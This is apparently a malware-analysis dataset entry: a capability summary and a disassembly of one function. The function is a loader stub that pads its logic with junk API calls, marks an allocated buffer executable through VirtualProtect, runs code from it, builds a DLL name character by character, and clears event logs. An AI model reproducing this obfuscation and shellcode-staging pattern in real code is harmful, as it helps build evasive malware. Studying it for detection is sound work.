Function at 0x80f4b0
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Create directory
Create pipe
Delete file
Enumerate files on windows
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Initialize winhttp library
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Receive http response
Resolve function by parsing pe exports
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x51b0
call fcn.00412af0
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor ebx, ebx
xor esi, esi
cmp esi, 0x2d19c
jge 0x80f4df
push ebx
push ebx
push ebx
call edi
cmp dword [0xb9e834], 0x6fb
jne 0x80f4f4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa0a
jle 0x80f511
cmp ebp, 0xc10b4e
je 0x80f511
cmp dword [esp + 0x84], 0x9068a6c
jne 0x80f51a
inc esi
cmp esi, 0x83358
jl 0x80f4d2
cmp dword [0xb9e834], 0xcf8
jne 0x80f5bd
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DrawCaption]
lea eax, [esp + 0x28]
push eax
push ebx
push 0x4042ec
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0xb9e834], 0x3a
jne 0x80f576
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea ecx, [esp + 0x1c0]
push ecx
push ebx
push 0x404338
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
mov edx, dword [esp + 0x14]
push ebx
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
push ebx
push ebx
call fcn.00407d01
push ebx
call fcn.004160e4
add esp, 0xc
push ebx
push ebx
call fcn.004160ef
add esp, 8
lea eax, [esp + 0xa0]
push eax
call fcn.00406090
push ebx
call fcn.004082a0
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
xor ecx, ecx
mov dword [esp + 0x18], ecx
cmp ecx, 0x408
jne 0x80f5e8
mov eax, 0x5d1
add dword [0xb9e834], eax
cmp dword [0xb9e834], 3
jne 0x80f622
push ebx
call esi
lea eax, [esp + 0x14]
push eax
xor ecx, ecx
push ecx
push ebx
push 0x404398
push ebx
mov dword [esp + 0x34], ecx
call edi
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
lea edx, [esp + 0x1c8]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ecx, dword [esp + 0x18]
inc ecx
mov dword [esp + 0x18], ecx
cmp ecx, 0x1518d4
jl 0x80f5d5
mov eax, dword [0xb9e834]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x81f884], eax
mov eax, dword [0xb9e834]
xor esi, esi
cmp eax, ebx
jbe 0x80f709
mov edi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
lea esp, [esp]
cmp eax, 0xfe
jne 0x80f6c5
push ebx
lea ecx, [esp + 0x19c4]
push ecx
call edi
push ebx
push ebx
call ebp
lea ecx, [esp + 0x14]
push ecx
xor edx, edx
push edx
push ebx
lea eax, [esp + 0x11cc]
push eax
push ebx
mov dword [esp + 0x2c], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea ecx, [esp + 0x28]
push ecx
xor eax, eax
lea edx, [esp + 0x60]
push edx
push 0x4043a0
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.0080efa0
mov eax, dword [0xb9e834]
cmp eax, 0x29
jne 0x80f700
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ebx
push ebx
lea eax, [esp + 0x1c8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0xb9e834]
inc esi
cmp esi, eax
jb 0x80f660
cmp eax, 0x70
jne 0x80f896
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [esp + 0x1c0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push ebx
push 0x404324
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea edx, [esp + 0x19c0]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea eax, [esp + 0x11c4]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push ebx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push ebx
lea ecx, [esp + 0x5c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll__hread]
push ebx
push 0x4043b0
push 0x4043c4
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
push 0x4043e0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
mov esi, dword [sym.imp.KERNEL32.dll__lread]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call esi
lea ecx, [esp + 0x20]
push ecx
push ebx
lea edx, [esp + 0x64]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0x4043f4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea ecx, [esp + 0x28]
push ecx
xor eax, eax
lea edx, [esp + 0x7c]
push edx
push 0x404410
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push ebx
lea eax, [esp + 0x21c4]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push ebx
lea ecx, [esp + 0x39c4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x80f8dd
push 0x404690
push ebx
lea edx, [esp + 0x5c8]
push edx
push 0x4046d0
push 0x4046f8
push 0x40474c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0xb9e834]
cmp eax, 0xdf
jne 0x80fb58
push 0x404768
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
lea edx, [esp + 0x24]
push edx
xor eax, eax
push eax
push ebx
lea ecx, [esp + 0x5cc]
push ecx
push ebx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
lea edx, [esp + 0x44]
push edx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x40]
push eax
push ebx
push ebx
push ebx
call esi
push 0x404788
call edi
push ebx
push 0x4047a0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push ebx
push 0x404850
push 0x4048b8
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0x40479c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
lea ecx, [esp + 0x4dc4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll__lread]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
push 0x4048e8
push 0x404918
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
lea edx, [esp + 0x49c4]
push edx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
push ebx
lea edx, [esp + 0x39c4]
push edx
push 0x404990
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
xor eax, eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x7c]
push ecx
push ebx
mov dword [esp + 0x68], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea eax, [esp + 0x1c0]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
push ebx
lea ecx, [esp + 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
lea edx, [esp + 0x29c4]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x4049ac
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
lea eax, [esp + 0x31c4]
push eax
push 0x4049c0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea ecx, [esp + 0x41c4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push ebx
lea edx, [esp + 0x21c4]
push edx
push 0x4049ec
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_TlsFree]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x404a08
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
push 0x404a18
call edi
push 0x404a64
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
lea eax, [esp + 0x20]
push eax
push ebx
push 0x404a88
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push ebx
lea ecx, [esp + 0x11c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea edx, [esp + 0x50]
push edx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push ebx
lea eax, [esp + 0x19c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x9c0]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0xb9e834]
dec dword [esp + 0x14]
jne 0x80f8b0
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov dword [esp + 0x14], 0x25887
lea esp, [esp]
mov dword [0xb9e830], 0xabebc05c
cmp eax, 0x222
jne 0x80fbb3
push 0x404acc
call esi
push ebx
lea edx, [esp + 0x9c4]
push edx
call edi
push ebx
call ebp
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov eax, dword [0xb9e834]
dec dword [esp + 0x14]
jne 0x80fb80
mov edx, dword [0x81f884]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push eax
push edx
mov byte [0x81aaf0], bl
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080f2a0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebp, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
xor esi, esi
jmp 0x80fbf0
cmp dword [0xb9e834], 0xba
jne 0x80fc29
lea eax, [esp + 0x1c]
push eax
call edi
push ebx
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea ecx, [esp + 0x78]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push 0x404b08
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x80fc4a
mov eax, 0
add dword [0x81f884], eax
inc esi
cmp esi, 0x1605a
jl 0x80fbf0
mov esi, dword [sym.imp.KERNEL32.dll__llseek]
mov edi, dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov dword [esp + 0x14], 0x1e6dcb
lea ecx, [ecx]
cmp dword [0xb9e834], 0x85
jne 0x80fcdc
push ebx
call edi
push ebx
call ebp
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SleepEx]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
push ebx
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownA]
push ebx
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
dec dword [esp + 0x14]
jne 0x80fc70
mov eax, 0x6d
mov word [0xb9e83e], ax
mov eax, 0x6c
mov word [0xb9e84c], ax
mov edx, 0x69
xor eax, eax
push 0xb9e838
mov dword [0xb9e848], 0x6c0064
mov dword [0xb9e844], 0x2e0032
mov word [0xb9e83c], dx
mov dword [0xb9e838], 0x73006d
mov word [0xb9e84e], ax
mov dword [0xb9e840], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0xb9e83a], dx
mov word [0xb9e83e], ax
xor eax, eax
cmp dword [0xb9e834], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0xb9e842], cx
mov word [0xb9e84e], ax
mov word [0xb9e840], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0xb9e848], 0x6c0064
mov word [0xb9e83c], ax
mov word [0xb9e838], cx
mov word [0xb9e84c], dx
mov dword [0xb9e844], 0x2e0032
jne 0x80febb
mov edx, dword [esp + 0x1c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x1c0]
push eax
push 0x404b44
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push ebx
call dword [sym.imp.KERNEL32.dll__lclose]
push ebx
lea edx, [esp + 0x44]
push edx
push ebx
lea eax, [esp + 0x19cc]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
lea ecx, [esp + 0x9c4]
push ecx
lea edx, [esp + 0x4c]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x2c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404b5c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x404b78
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
lea eax, [esp + 0x41c4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
lea ecx, [esp + 0x11c4]
push ecx
push 0x404b98
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea edx, [esp + 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov eax, dword [esp + 0x1c]
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret